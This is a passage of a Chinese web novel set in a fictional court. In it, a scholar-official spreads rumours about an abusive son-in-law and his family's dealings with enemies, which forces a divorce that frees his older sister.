“但他们忘了,别的事陛下或许可以忍。可眼见着西戎都已经上门挑衅了,还只顾着各自的利益私斗。那请问他们到底是大晟的朝臣,还是西戎的官,竟一心为西戎着想!父亲,此次三司清查的力度不会弱,您在朝堂说的话就是此次上升的机会,陛下缺的就是这样的人!”
此刻,所有人都被封砚初惊呆了,尤其是老太太和大娘子,这是她们从未见过的样子!
封简宁听了儿子这番话,只觉得有子如此,何愁家族不兴!他点头肯定道:“你说的不错,若是以前,陛下兴许还会考虑,几位皇子之间的势力能否平衡。此次他们为了一己之私竟然可以合作,丝毫不顾大晟的安危,陛下怎会容忍!”
老太太听到这些话,脸上终于露出笑意,心里也轻松了许多,起身道:“既然你们有打算就好,你先歇着吧,我回了。”
出门之后,她安抚着大娘子,“你也不必太过忧心,敏儿有她父亲和兄弟管呢。”其实老太太知道大娘子一直以来的心结,无非是担心武安侯府会在关键时刻弃了敏儿,她如此说,就是为了告诉对方,无论何时都不会的。
只是女儿一日未回来,大娘子一日不得安心,但老太太已经主动出言安慰,她只能尽力扯出笑,“是,儿媳知道。”
第一百六十七章 钉在耻辱柱上
信国公府。
封砚敏正在弹琴之际,碧玉就急匆匆的进来。
“发生了何事?怎么神色这般慌张?”
碧玉咽了咽唾沫,稍微缓了缓,喘匀气后,这才说道:“娘子,国公爷受伤回来了!”
“受伤就受伤呗,与我何干?”封砚敏瞥了对方一眼,觉得就这点事也值得这般,还把自己累的。说罢又继续开始弹琴。
“据回来的人说,是二郎君打的!”
碧玉的话还未说完,封砚敏就惊地‘蹭’一下站了起来,“什么!”
“娘子别激动。是这样的,估计今日在朝堂之上发生了什么,国公爷刚出宫门就拦着咱家侯爷,两人便起了争执,最后竟动起手来!”说实话,碧玉知道这个消息之后,也是被吓了一跳。
“怎么没人拦着!父亲可有受伤?”这是封砚敏当下最关心的。
碧玉继续道:“这个还不知道。不过刚开始,确实有人拉架,但是到后来就有人加入其中,越打越厉害,竟变成诸位大人们一起打架!幸亏二郎君得知消息,及时赶过去将侯爷救出来,否则还真不好说!”
封砚敏一听父亲挨了打,立即道:“快收拾收拾,随我回去看望父亲!”
所以,当徐大郎得知祖父被封砚初打断了胳膊,还掉了一颗牙之后,气冲冲的来找封砚敏算账,结果却扑了空。
气的在院子里喊着,“人呢!”
下人们虽在内心吐槽着,一个做大伯哥的,就这么闯进弟妹的院子,未免也太不尊重了。但看对方的架势,还是赶紧回答:“据说武安侯受伤,娘子听说后回娘家去了。”
就在徐大郎发火之际,妻子刘氏也赶到,劝道:“祖父受伤你来找弟妹有何用?又与她何干?现在赶紧前去侍奉最要紧!”说着将人强行拽走!
刘氏内心十分无语。这个时候不在跟前表现,竟还有心情找封氏算账。这是她弟弟干的,又不是她!即使将人打一顿心里痛快了,难道就不怕人家弟弟上门算账!以前又不是没有过!
当封砚敏带着人急匆匆回来之后,便看见父亲顶着一张青紫的脸坐在桌案旁。
见此一幕,眼泪霎时流下,“父亲,您这是?”
封砚初赶紧上前迎道:“姐姐来了,我还说一会儿去接你回来呢!”
封简宁见女儿回来的这般及时,也是内心感动,“敏儿回来啦,为父没事,不过是看着严重罢了。”
“当真没事?”封砚敏不放心地复问。
封砚初一边请姐姐坐下,一边让人上茶,“姐姐还信不过我吗?我和孙大夫都瞧过,只是一些皮外伤,瘀血散了就好了。”
封砚敏见父亲确实没事,这才安心,“今日到底发生了什么事?我怎么听说打起来了!”
封砚初并未着急回答,而是嘴角含笑,反问道:“姐姐可知最近朝中发生了什么事?”
对于近期发生之事,封砚敏还是听说过的,“说是因为兵部尚书姚城和攻防营统领柳逐川俩人,倒卖兵器,虚报兵员军需,结果三司一查,竟牵扯出好些事情来。”
封砚初点头道:“玄麟卫副指挥使顾泽从北边回来了,还带来了一个惊天动地的消息,朝中有人里通外敌,将兵器和铁器倒卖西戎!”
他不过提了一个醒,长姐便立即反应过来,“青州徐家乃是商户,之前朝廷开了边贸,他们必定有生意参与,难道?”说到此处心里咯噔一下,封砚敏最担心家里被连累。
“姐姐别担心。”他劝道:“今日朝堂之上,父亲给陛下谏言提醒青州徐家的事。信国公虽对外声称早与其断了往来,可他忘了,一笔写不出两个徐字,即使他对外表现的如何大义凛然,今日在朝堂上,他为那些人求情便是错!如此,大家自然会认为他与青州密不可分,以前都是装的!”
封砚敏听后点头,“这样也好,咱家趁势表明态度,让陛下知道在大是大非面前,武安侯府自然不含糊!免得信国公府犯事连累家里。”
此刻,封简宁直到听两个孩子说完之后,才开口道:“敏儿啊,既然你回来了,那就先在家里住着,信国公府就别去了。对了,你母亲将你原来的屋子还留着呢,如今也可长住了。”
“父亲……二郎……”封砚敏眼眶发红,强忍眼泪,外人或许不知,但只有自己心里清楚,她在信国公府待的每一刻都是煎熬。
封砚初轻轻点头,劝慰道:“姐姐,今后你可以不用去信国公府,家里会让你与那徐三郎和离的!”
封砚敏虽感动,但仍旧担忧不已,“和离?岂是那般容易?信国公府不愿意,也是没办法。”
“那徐三郎什么德行我们知道,可外人却不了解内情。都觉得他为亡妻守孝,乃是深情重义之人,可他配吗?若外人知道薛氏乃是被其殴打伤重致死,咱们自然可以利用人言,让姐姐顺利和离!”封砚初说这话之时眼睛发亮。
他几乎有些迫不及待了,那样的人不配活着!他要徐三郎死后也要背负骂名,让大家提起此人就觉得晦气,不仅如此,还要让对方千年万年的钉在耻辱柱上!敢欺负他姐姐,就要想好遭到报应!
封砚敏长舒一口气,现在她只觉得自己的肩膀一下子轻松了,“谢谢你,二郎。”
封砚初浅笑着,“你我乃是姐弟,实在不必言谢。”
“你母亲一直为你的事情忧心,先去后院看看她。”封简宁顺势打发女儿。
“女儿告退。”封砚敏离开之后,几乎是迫不及待的去后院看望母亲。
第一百六十八章 搬的真干净啊!
封砚敏进门时,大娘子正在长吁短叹,半夏还在一旁劝着。
“母亲!”随着这个声音的响起。
大娘子抬头的瞬间,眼睛里蹦出光亮来,声音高昂中透着兴奋,忙上前将人拉住,“敏儿!你怎么回来了!”
母女二人坐下后,封砚敏这才说道:“国公刚回府没多久,碧玉就说父亲被对方打伤了,女儿担心,便回来瞧瞧。”
大娘子想到女儿如今的处,拍着对方的手,宽心道:“你且再忍两日,你父亲和二郎已经想出办法接你回来!”
封砚敏眼中含泪,轻轻点头道:“女儿知道,方才二郎已经说了,而且还让女儿今后都不用回去,说后头的事情他会处理。”
大娘子听了女儿这番话,眼泪再也忍不住了,抱着女儿痛哭,“我的敏儿啊,是母亲不好,让你受苦了,如今可算是逃离了那虎狼窝!”
“母亲,都是他们将外头瞒得死死的,就连父亲也被哄了,这怎能怪您?女儿以后再也不走了,就留在家里陪您。”封砚敏见母亲如此,哪里不明白,往日不过是装着不想自己担心罢了。
“对,今后就留在家里,你的房间我每日都让人打扫,只是恐怕你回来的急,眼见天渐渐冷了,衣裳还得添几件。”此番可算是解了大娘子的心结,她已经开始计划着为女儿添置东西。
“母亲不忙,派人回去取就是了,量他们也不敢拦着!说破天去,父亲生病,作为女儿自然要侍奉,这是为人子女的孝道。”既然家里有了打算,封砚敏便不用继续留在信国公府,免得自己心里堵的慌!
“好,顺带将日用的东西带回来,就说你要在家常住,为你父亲侍疾。长幼尊卑有序,亲疏内外有别,旁人也说不出什么!”这不过是一个借口,大娘子之前瞧侯爷说话声中气十足,明显没什么大碍。
“听说信国公如此,是二郎动的手?”这话是封砚敏听碧玉说的,而碧玉也是从信国公府的下人们那里打听来的。
大娘子神色有些不自然,清了清嗓子,“那么多人打架,许是旁人没留意失了手,未见得就是二郎。”她终究不放心地问道:“听说信国公掉了一颗牙,折了一条胳膊,可要紧?”
“什么?”封砚敏惊讶不已,在她心里二弟对外一向是君子有度,“女儿一听父亲受伤,就急匆匆回来了,还不曾问过信国公的情况。想来不要紧,二郎毕竟懂些医术,下手知道轻重。”
就在碧玉前脚刚回信国公府,为自家姑娘收拾东西之时,后脚徐大郎就来了,刘氏连拉都没拉住。
这人还不阴不阳的说着,“怎么?我祖父受伤,你家娘子干脆躲回娘家,武安侯府真是好教养!”
碧玉先是行礼,然后才道:“还请大郎君见谅,我家娘子是得知侯爷受伤后,这才回去侍疾的,因还未来得及收拾东西,奴婢特意回来取。”
徐大郎气的骂道:“下贱的奴婢,还敢狡辩!不孝就是不孝,话说的那般漂亮!祖父受伤不想着侍疾,竟干脆躲了,我要让外头的人都知道,她封家女不孝!你们主仆二人都不是个好东西,这样的贱婢怎配留在国公府,叫人牙子来发卖了!”
就在此时,一个声音传来,“我竟不知信国公府的手,伸的这般长,竟要发卖起我武安侯府的人?还是说信国公府的人一向肆无忌惮,觉得京城所有府邸都任由你家做主了?”
原来是封砚初来了,他终究觉得姐姐将这些人想的太好了,东西未必拿的回来。
“封修撰休要信口雌黄!”信国公世子听下人禀报,说封砚初来了,只觉得头大。他在这人身上就没占过便宜,净吃亏了,担心长子敌不过匆匆赶来!
果然,徐大郎紧接着就是一句,“是谁将这厮放进来的!”言语中颇有些气急败坏的意思。
“哦?我不过是见下人迟迟未将长姐的东西送回去,这才上门来瞧一瞧。没想到信国公府的门庭竟比皇宫还高,我竟连门都不配进了?”封砚初没客气直接回怼,可这些人哪是他的对手。
信国公世子连忙为自家分辩,“封修撰休要胡说,我们何曾说过不让你上门!”
封砚初用眼角斜了一眼徐大郎,语气中满是不屑,“我何曾胡说?难道方才徐大郎君未曾恶语相向,也未曾说过不想让我进门?”
徐大郎气的用手指着他,说不出一句话。
“哼!知道自己理亏说不出话来了吧?”他眼中满是轻蔑,随后又正色质问:“大晟向来以孝治国,信国公无故将我父亲殴伤,我姐姐作为女儿还不能在亲父跟前尽孝了?这是何道理!莫非说是你信国公府的意思?”
信国公世子知道自己说不过对方,若是再待下去,只怕要将自己气出个好歹,连忙挥手道:“我儿只是担心他祖父的身体,一时胡言罢了,你要是想拿就拿吧,就是全搬走都行!”
说罢,瞪了一眼正气地捂着胸口的长子,骂道:“还留在这里做什么?丢人现眼吗?”说罢,挥袖离开!
封砚初看向已经呆滞的碧玉,说道:“愣着做什么?还不赶紧收拾,马车已经在门口等着了!”
碧玉这才反应过来,下意识开口道:“哦……哦,二郎君,那是怎么收拾啊?”
封砚初大手一挥,直接命令,“自然是能搬的都搬走!我将人手都带来了!”
一旁的钱妈妈笑得脸上都要开出一朵花来,她早就在这里待够了,连忙答应道:“哎!哎!二郎君放心,这嫁妆担单子还在老奴这里呢,保管收拾的干干净净!他们休想占的一丁点便宜!”
凡是跟随封砚敏一起来的下人们,立即动手收拾。到底人多力量大,不过一个时辰,就已经全部打包好装上了马车。
就连这院子里的下人们瞧了,都只能叹一句,“搬的真干净啊!”
第一百六十九章 天理昭昭,报应不爽!
徐大郎君回去之后就气的胸口疼,躺在床上起不来。
刘氏一边为他叫大夫,一边为他顺气,嘴里还在吐槽着,“我都说了让你别去,别去,你非要去!这不是上赶着挨骂吗?那封砚初可是状元出身,你难道说的过他去?”
徐大郎的手刚抬起,就被刘氏压下去,继续道:“要我说反正老三已经是那样,武安侯与咱家这是撕破脸了,那封氏要走就让她走!你拦着有什么用!难道还能让人家守着老三过一辈子不成?”
刘氏正说的起劲,就见夫君闭着眼睛不动弹了,原本以为是对方不想听她说话,直到大夫来诊断,这才知道竟然被气的昏过去。
她只觉得无语,低声吐槽,“气量怎么这么小。”
就在两日后,京城突然传出一道流言,甚至茶馆的说书先生都将其编成段子,使得愈演愈烈,当信国公想要阻止已经来不及了。
半日闲茶馆。
封砚初下值后,难得的没有回‘枕松闲居’,而是独自在茶馆里喝茶听书。
楼下的说书先生刚说完了一段江湖韵事,就在众人以为结束之时,只听见‘啪’地一声,醒木响起。
说书先生故意吊起众人的胃口,“诸位,鄙人最近听得一桩奇事,不知你们知不知道?”
台下之人听对方这么说,便喊道:“你不说,大家伙儿怎么知道!”
那说书先生简洁明了的问道:“好!诸位可知道那信国公府的徐三郎君?”
底下有人听后感慨不已:“信国公乃是朝廷重臣,这信国公府徐家更是太宗皇帝的母家,众人自然关注。要说此人也是命中带衰,早年娶了薛氏女为妻,原本也是夫妻伉俪情深。奈何薛氏女因家族变故神伤不已,以至于后来重病在床,据说这信国公府也是延医问药,可薛氏最后还是香消玉殒。”
这人继续叹道:“这徐三郎倒也是个情种,硬是为妻守孝两年,本想带着一双儿女就此过完一生,奈何世子夫人不愿意,又续娶了封氏女。原以为是时来运转,没成想,成亲没几个月竟因,思念先夫人一病不起了,可悲可叹呐!”
有人见状立即接话,“是啊,这样的人竟然命运不济!据说世子夫人为了给徐三郎祈福,亲自去了善慈庵,真可谓是一片慈母之心。”
又有一人听后,冷哼道:“要说这封氏女也太不像样,夫君成了这副样子,竟然还有心情参加各府宴会,怪道这徐三郎一直惦念亡妻!”
就在此时,说书先生开了口,连连摇头道:“可鄙人所知道的,却与诸位截然相反!”
“哦?还不快细细说来!”一听有八卦,所有人都立起耳朵。
醒木再次响起!
说书先生正色道:“诸位觉得这徐三郎与先夫人深情厚义,是个难得的佳郎!可据鄙人所知,这徐三郎竟是个彻头彻尾的伪君子,其行为堪称畜牲!”
就在众人议论纷纷,嘈杂之声渐起。
这说书先生猛地一拍醒木,高声道:“话说这徐三郎虽好饮酒,可在外人面前,却装的是一副谦谦君子模样,回家后,就露出邪恶的真面目!这薛氏原本也是诗书官宦人家的女儿,与徐三郎刚成婚时,倒也过了一段好日子。奈何薛家后来犯事被贬出京,这徐三郎便一改往日模样,但凡饮酒,就对妻子拳脚相加!连身边仆从也不放过,一家子此次视而不见!实乃恶人,畜牲尔!”
“这薛氏被打的浑身没一块好地儿,可即使如此,仍为其育有一子一女,就是看在一双儿女的份上,也不该虐待发妻。可这畜牲依旧不该,长此以往,别说一个女子,就是身强体壮的男子都受不住。这薛氏又无娘家撑腰,终究没能熬住,被这徐三郎殴打致重伤,最后不治而死!可怜一个孤弱女子就此香消玉殒!”
“原本以为这徐三郎就此改过,没想到的是,此人愈发不知收敛,不仅对家中仆人拳打脚踢,后来更是欺辱兄长的妾室,这才他被送往青州的真正原因!后来想必大家也都知道,此人贯会伪装,这封家也被蒙蔽,将女儿嫁入这虎狼窝!徐三郎恶习不改,不仅对妻子拳脚相加,更添了好色的毛病,幸而最后得了马上风,瘫痪在床!终应了那句天理昭昭,报应不爽!”
随着最后一声醒木响起,故事讲完。
此言毕,人群中顿时成鼎沸之声!
“我的天,这徐三郎竟是如此德行!信国公府瞒得可真够紧的!”
“谁说不是呢!此人简直畜牲不如,居然对弱女子动手!有本事怎么不去北边打西戎呢!”
有人立即跟声讽刺,“人徐家在北边与西戎有生意往来,怎舍得去打西戎,怕是巴不得贡在头顶上!而且信国公前两日在朝堂之上,还维护那些败类,要说他家和西戎没有瓜葛,谁信啊!”
“就是,听说这武安侯在朝中不过是反驳了两句,就被信国公堵在宫门口打了一顿,可见其霸道!”
“这信国公素日都是装的,这两日朝廷一直在查,是否有人里通外敌,你们说这信国公府会不会?”
“一定会的,否则为何好端端的,给那些败类说情!”
封砚初听到这里满意的离开了,这种事情,只要稍微使些钱财,就会像风一样吹遍每个角落,再也阻止不住!
第一百七十章 还有没有规矩体统!
回到‘枕松闲居’,恰好长姐也在,两人还一起用了饭。
封砚敏看了看对面之人,嘴角上扬道:“二郎,我瞧着你心情似乎很好?连饭都多用了半碗。”
封砚初还未说话,三郎就带着死气沉沉的语气道:“二哥,我最近太累了,你若是有好事就说出来,也让我换一换心情,高兴高兴!”
“只是想到接下来要发生的事情,心情舒畅罢了。”封砚初随即看了一眼三郎,故意板着脸道:“你还有心情说这些,看来还是练的不够!”
“啊!”三郎后悔的想抽自己嘴巴,“二哥,我最近已经很辛苦了,不求减少训练,但求保持原样就行。”
封砚敏立即想到了些什么,心情不错,她甚至还为三郎求情,“二郎,我瞧他这些时日长进很大,正所谓劳逸结合嘛,也不宜逼得太紧。”
三郎听见这话连连点头,“嗯嗯嗯,就是啊,二哥。”
封砚初瞥了一眼三郎那副不值钱的样子,说道:“罢了,我今日便不同你计较了!”他心情不错,已经可以想象到信国公那张老脸的颜色了。
果然也如预料的一般,信国公确实脸色难看,可以说的上是暴怒!
信国公府。
信国公因为伤到了胳膊,便告了两日的假。但才两日而已,就已经有人开始惦记上他次辅的位置了。更别说三司之人步步紧逼,要是真的审出青州的事来,他也只能断尾求生。
可即便这样,也难免会惹得一身骚。次辅的位置估计是保不住了,这些人可能就是预料到,这才如此明目张胆。
他想了想,还是准备给青州再次去信催促。心里也不禁吐槽,青州这些人也真是的,都到了这个时候还惦记着那点钱!
就在着手写信之际,只见门突然被打开,信国公世子闯了进来。
信国公眉头紧皱,脸立即拉了下来,呵斥着,“瞧瞧你像什么样子!这是我的书房,你就这么闯进来,还有没有规矩体统!”
信国公世子脸上全是惊慌之色,他吞咽着唾沫,连连摆手道:“父亲,都到这个时候了,还讲什么规矩体统啊!”
“发生了何事?”信国公这才瞧见儿子神色不对,连忙发问。
世子几乎是用快哭了的声音,歇斯底里的喊道:“父亲,大事不好了!现在外面将三郎的事情都传开了!”
信国公无语的看了儿子一眼,他正忧愁能否度过此难,竟用这种小事来烦他,“传开就传开呗,没瞧见我正忙着,出去!”
世子焦急道:“父亲,不光只有这件事,外头还传出,说您之所以在朝堂上维护,安州驻军将军古湛那帮人,就是因为咱家借着徐家的生意里通外敌!”
“什么!快让人压下去!”信国公有些慌了,不过他迅速镇定下来,连忙吩咐着。
世子摇头泄气道:“父亲,来不及了,整个京城都传遍了!”
信国公听后只觉得儿子无用,气的一脚踹过去,指着骂:“你是做什么吃的!我整日忙着朝堂上的事情,你却在外头游荡,怎么连这都不知道!”
“并非儿子没留意,只是散播之人太过狡猾,他先是在百姓中散谣言,之后便是一发不可收拾,儿子还是从旁人嘴里听来的!”说到这里,世子骂道:“都怪那个败类,儿子如今连门都出不去了!”
“这是出不出门的事吗!三郎那畜牲的事传就传了,无所谓,最多是教导不严之过。可如今外头将咱家与青州联系起来了,不管旁人信不信,事后即使对外称作没有,那些人也觉得咱家这是狡辩!”信国公没说的是,更何况确有其事,三司都快扒在身上查了,怎么可能洗的清。
此刻,他已经能想象到,那些政敌们必定会趁机攻坚信国公府,景和帝更是乐见其成!他在脑中迅速思索着到底是谁干的,最后想到了一个人!封砚初!
而如此歹毒的主意,武安侯是想不出来的,只能是他那个狡诈且诡计多端的儿子干的!
“封砚初!”这个名字几乎是信国公咬牙说出来的!
霎时间,他只觉耳朵嗡鸣,呢喃着,“完了,全完了!”随后一口血吐出,人事不知。
“父亲!”世子被这突如其来的一幕吓了一跳,他本就能力不足,眼见父亲吐血倒地,更是手慌脚乱。
先是让下人将人扶到床上,这次连忙请御医诊治!
“如何?”他跟在张御医身边紧张的问。
张御医一边收拾药箱,一边道:“国公爷这是怒火攻心,竟还呕了血,毕竟年岁不小,以后还是要平心静气好好将养,你们按照我的药方抓药,过两日我再来施针。”
信国公世子听后,试探的说道:“那就是没有大碍?”
张御医就不爱听这话,语气难免重了几分,“什么叫没有大碍?难道真的病死过去才叫没事?我就这么说吧,信国公年岁已高,且素日劳心本就心血不足,此次又发生这个情况,若是再不好好养着,用不了多久,你们就等着备寿材吧!”
“是我们不好,胡乱猜测,也是太过担心的缘故。”刘氏在一旁赶紧赔笑。
张御医脸上这才好看了几分,冷哼道:“这才像是为人子女应该说的话!”说罢提着药箱离开了。
刘氏只觉得头痛不已,夫君自从那件事之后,竟落了个心慌的毛病,如今国公又是这个样子,明显世子爷也没了主意。她不仅要照顾夫君,还有这边要照看这边,只觉心累。
第一百七十一章 还不都是拜你所赐
当这个消息传遍京城时,封简宁父子三人便上门了。
信国公世子却在忙的焦头烂额之际,见这三人竟还敢上门。不过也只能压下心中怒火,语气冷淡道:“多谢三位前来探望我父亲,只是他老人家如今卧病在床不宜见客,在下就不多陪了,请便。”
封简宁清了清嗓子,打了个开场,“信国公生病,我等也很同情。只是如今京中传出你那三儿子性情暴虐,实在不堪为人丈夫,今日特意来请世子替子写一张和离书来,从此男女婚嫁各不相干。”
信国公还以为这几人是假惺惺来装相的,没想到竟是黄鼠狼给鸡拜年,没安好心!这是眼见信国公府到了危难之际,想着赶紧踢开。
当下骂道:“我儿病倒在床,你女儿就想和离,休想!别忘了,当初是你武安侯眼见门庭败落,丁忧后没个好职位,这才求了我父亲!如今他老人家才病,你家这般迫不及待,就不怕落个过河拆桥,忘恩负义的名声!”
封砚初听后只觉可笑,他瞥向对方的眼神,锐利的能杀人。随即冷笑一声,故意带着漫不经心的语气讥讽,“世子休要说的这般好听。你那儿子什么德行,外头人尽皆知,因嗜酒如命贪花好色,这才年纪轻轻就中风在床,如此丢德败兴之人贵府竟没打死也是好度量。”
“”再说,我父亲当初虽有事拜托了信国公,但也没少效力!如今既得知你家徐三郎畜牲不如,我们当然要将人接回去。况且我姐姐嫁进你家就没有好日子,世子还是快快写了。”
封砚开接话道:“前些日子我父亲不过是在朝中说了句公道话,竟引得信国公拳脚相加,这般对待亲家的,你徐家也是独一份!你家既然这么瞧不上我武安侯府,还不如写了和离书,我们走人。”
世子气的浑身颤抖,指着几人道:“妄想!我就是困,也要将你封家女困死在我信国公府!”
封简宁一听这话,气的冲上去就要打,但被封砚初一把拉住。
“世子确定要如此?想必外头的消息已经传遍了,信国公自顾不暇。你说,我要不要继续添一把火呢?世子可还撑得住?”封砚初说这话之时语气温和,仿佛一个谦谦君子在与人闲聊。
信国公世子紧紧握着拳头,眼睛闭了好一会儿,才缓缓睁开,对方确实拿住了他的短处。以前还没觉得,可父亲倒下不过才一日,他就有些力怠。而封砚初的能力他可是领教过的,轻轻松松就可以击溃了自己的谋划。
他内心的不甘达到了顶峰,但也只能自行疏解,于是缓了缓才道:“罢了,既如此便依了你们!”说到这里几乎是用吼的方式冲下人喊,“来人!拿纸笔!”
等对方写好之后,封简宁拿起和离书瞧了瞧便递给儿子。
封砚初看完发现未有疏漏,顺手给了大哥,随即嘴角含笑,行礼道:“多谢世子体谅,信国公还病着,我等就不过多打扰了。”这话说的那叫一个温和有度,行为举止翩翩有礼,仿佛刚才咄咄逼人的不是他一般。
信国公世子皮笑肉不笑道:“封修撰的本事在下早有领教,我父如此还不都是拜你所赐,此番竟然还能说出这话来,真叫人大开眼界!”
“世子说笑了,我瞧着国公老谋深算,如今他病了,整个国公府还要您撑着,世子保重!”目的已经达到,封砚初不在乎对方,是否占得那几分嘴皮子上的便宜,他偏要反其道而行之,做出一副泰然处之的模样。
信国公世子等三人都出门之后,便去瞧父亲,刚进门就听见一阵咳嗽。
“是武安侯府来人要和离书来了吧?”信国公半靠在床上,声音也不如以往有力量。
“父亲……您……您都知道了?”他本想瞒着的,可终究没能瞒住。
“儿啊,这次的事就是封砚初干的,眼见目的达到,又怎么可能让封家的女儿留在府里,肯定是来要和离书的,你斗不过他,必然已经给了。”
信国公虽病着,但还未到眼盲心瞎的地步。只是时移世易,如今信国公府的境遇,与几年前的武安侯府何其相似,只是现下双方已经彻底转换!一个岌岌可危,另一个子女皆有出息。此刻的他不得不承认,人力有限,即使再怎么努力,家中后辈也守不住。
世子听了这话,更加愧疚,“是我教子无方。三郎原来不错来着,可他既要承受异母嫡长兄的嫉妒,还有杨氏毫无底线的宠爱,我更是一味顾着自己高乐并未重视,等发现之时,已经硬生生被宠坏,无可挽救。”
信国公听了这话,长叹一声,“你出去吧,我要歇一会儿。”
他看着儿子离去的背影,心里十分复杂,此时的悔悟又有何用,也是自己贪念太重,将祖上之言尽忘了。
大晟建国之初,徐家先祖有言,‘从此以后青州徐氏与京城徐氏分割,以免徐家步乾朝贺家后尘!’想来不久的将来就要应验了。
贺氏手握大量钱财,试图以钱财影响朝廷,最终被乾朝皇帝清算。那徐家呢?朝廷可能容忍?
黎家。
黎大人看着女儿递出来的消息,用手指轻轻敲击着桌面,随后道:“京城流言蜚语不断,信国公救不得了!”
其长子可惜道:“这次流言是武安侯的儿子封砚初动的手,只是可惜了徐家的钱财!”
黎大人瞥向儿子道:“可惜又如何,是封砚初动的手又如何?此人就是认准了信国公参与其中,又有流言作为助手,就是陛下和三司不想查,百姓也不会答应。到时候流言愈演愈烈,只会动摇民心。”
黎大郎气的捶桌子,“这个武安侯太可恶,竟然在朝中公开谏言!他那个儿子更是个奸诈之徒!”
黎大人看向儿子,趁机教导:“武安侯必定是知道了徐家在北边的猫腻,信国公也不清白,眼见陛下震怒,自然想趁机证明武安侯府的清白。之后这封砚初利用流言,彻底断绝武安侯府与信国公府之间的联系。”他说到这里反问,“你信不信,这封家父子肯定要去徐家要和离书!”
第一百七十二章 救出虎狼窝了
就在这时,底下有人来禀,说武安侯与两个儿子去了信国公府,没待多久就出来了,一打听才知道,原来是去要和离书的。
黎大郎听后,惊道:“父亲,居然是真的!可这徐三郎已经瘫在床上了,就这么要了和离书,难道武安侯就不怕外人说他?”
黎大人此刻与信国公一样,分外的羡慕武安侯有两个有出息的儿子,不过好在自己的儿子还算听话,勉强满意。
于是反问道:“这徐三郎对封氏女如何?又是如何瘫的?”
“自然是……”黎大郎这才反应过来,“哦~,在外人看来这武安侯府也是受害者,这是趁机将女儿救出虎狼窝了!”
黎大人顺势收起黎皇后的信,说道:“对喽,封砚初这一招高啊。利用流言,不仅将自家放在一个受害者的位置上,还告诉众人,武安侯府与信国公府之间龃龉已深,两家一刀两断,更是迫使信国公府不得不写下和离书!”
通过父亲的解释,黎大郎这才明白其中深意。紧接着突然反应过来,惊慌道:“父亲,一旦信国公被三司查出个什么,那咱家怎么办?岂不是要一起受其牵连!”
黎大人抬起的手终究没打到儿子的背上。他端起茶杯饮了几口,顺了顺气,看向儿子那惊恐中带着求知的眼神,默念了一句,这是亲生的儿子。强行压下心中的无名之火,轻叹:“你要是有你姐姐一半就好了。”
随后又道:“你记住一点,为父之所以在朝堂之上为信国公说话,不过是因为同为朝臣罢了。而一直以来和青州徐家联系的人都是信国公,我们从未掺和过。所以,信国公如何,与咱们有何关系?”
这一声反问,惊醒了黎大郎,他这才放心下来,哈哈笑着:“是啊!就是如此!我怎么没想到呢?”
黎大人对儿子如此模样,有些没眼看。既失望对方不够聪慧,又觉得还算听话,一时之间心情竟十分复杂。
武安侯府。
当封砚敏拿到和离书的那一刻,眼泪再也忍不住了,她将其抱在怀里哭,这是日也盼夜也盼的东西。她向大娘子倾诉道:“母亲,我以后再也不用待在那里了,我解脱了!”
大娘子缓缓地从对方怀里拿过和离书,将其放在桌子上,搂过女儿,轻声道:“我的儿,以后没人逼你了,就是你父亲也不行!”
老太太见母女二人哭成一团,保证道:“你放心,要是再有人逼你,我先不答应!”
封砚开也说道:“姐姐受苦了,好在如今可算是彻底脱离苦海。”
二妹封砚婉笑道:“姐姐,三妹最近爱上弹琴,总拉着我一起。你是知道的,我最不耐烦这些,好在姐姐回来,我以后可算是不用听她弹琴了。”
封砚敏被这么一逗,‘噗嗤’一声跟着笑了,“好你个调皮鬼,自己不想干,这是给我找活来了。”
三妹封砚潼听后叹气抱怨,“大姐姐,你是不知道二姐,最会躲懒。她喜欢射箭总拉着我做作陪,可到我想弹琴时,她却找借口推辞,你可要给我评评理。”
封砚敏听后说道:“那这就是二妹妹不对了,她既陪你射箭,你自然也要陪她练琴。”
老太太摇头笑着,“你让婉儿弹琴?那是她受罪,你也跟着受罪。前几天还给我承诺绣个抹额呢,都这会了,我连个线头都都没见着。”
大娘子掩嘴道:“她姨娘绣工了得,可她竟是个舞刀弄枪的性子,也不知随谁了。”
“和她二哥一模一样,二郎小时候就喜欢习武,他父亲不同意,硬是自己偷着练,就这还没耽搁科考。”老太太如今可得意了,无论谁上门都会赞她养了两个好孙儿。
“可不是,大郎倒是有个兄长的样子,也不淘气。就单单二郎淘的没边了,每次他父亲打他,我都跟着悬心。”大娘子趁势调侃,毕竟她没少救场。
毕竟长大了,封砚初被说的有些不好意思,起身告辞出去了。
眼见着要入冬了,树上的叶子亦无法停留,武安侯府里有不少草木,正是萧瑟之际,下人们也是扫个不停,十分殷勤。
就在要出内院,迎面碰上四郎封砚安,对方恭敬地行礼,“二哥。”
封砚初挑眉问道:“你这些日子做什么呢?今日大姐姐与徐三郎正式和离,方才大家都在老太太那里凑趣,怎么不见你?”
“大哥给我写了一个书单,这些日子一直在看书。”四郎回答道。
“嗯,虽说读书重要,可也别忘了与兄弟姊妹们之间的往来。在外头也一样,交际往来也是必须要学的!”封砚初拍了拍对方的肩膀叮嘱着。
四郎沉声致谢,“多谢二哥教导,我记住了。”
封砚初见对方死气沉沉的,半点不见少年人的鲜活之气,觉得好没意思,挥手道:“罢了,你且去吧!”
“是,二哥。”四郎说罢,似乎后头有人撵一般,快速离开。
“以前只是胆子略小些,怎么如今瞧着愈发孤僻了。”封砚初看着对方的背影疑惑不解,随即将这事扔在脑后出去了。
刚进恒文酒肆的门,就见二楼上有一人朝他招手。
“二郎!这里!”原来是陈泽文。
封砚初上楼进雅间坐下,“你这么着急叫我出来做什么?”说话间,目光顺势投到台上正在扭动着腰身的舞姬身上。
陈泽文并未回答,眼中露出古怪之色,调侃着,“怎么?感兴趣?这个好办,一会我去给舞坊的管教说一声,到时候送到广林巷。”说完到此处,竟还发出‘嘿嘿’的猥琐笑声。
封砚初没好气的白了对方一眼,“胡说什么呢?我不过是瞧着那女子似乎会武功,既有这身手干什么不好,偏要做这个营生,挣得钱大头还要上交,自己又能落得几个子儿。”
听这么一说,陈泽文立即上心,细细探查,随后严肃道:“还真是,只是这人掩饰的很好,不留意细看,还真发现不了。”
(今日家中有事,少更一章,明日照常更新)
第一百七十三章 何其可悲可叹
两人均收回视线。只是陈泽文招手示意小厮过来,又低声说了些什么,便将人打发走。
封砚初一直等两人说完话,用指尖轻敲桌面,问道:“话说你叫我来所为何事?”
陈泽文收了那副嬉皮笑脸的模样,“瞧你这几日那样的忙,这不叫你出来闲聊两句。”
封砚初嗤笑一声,“说人话,到底何事?”
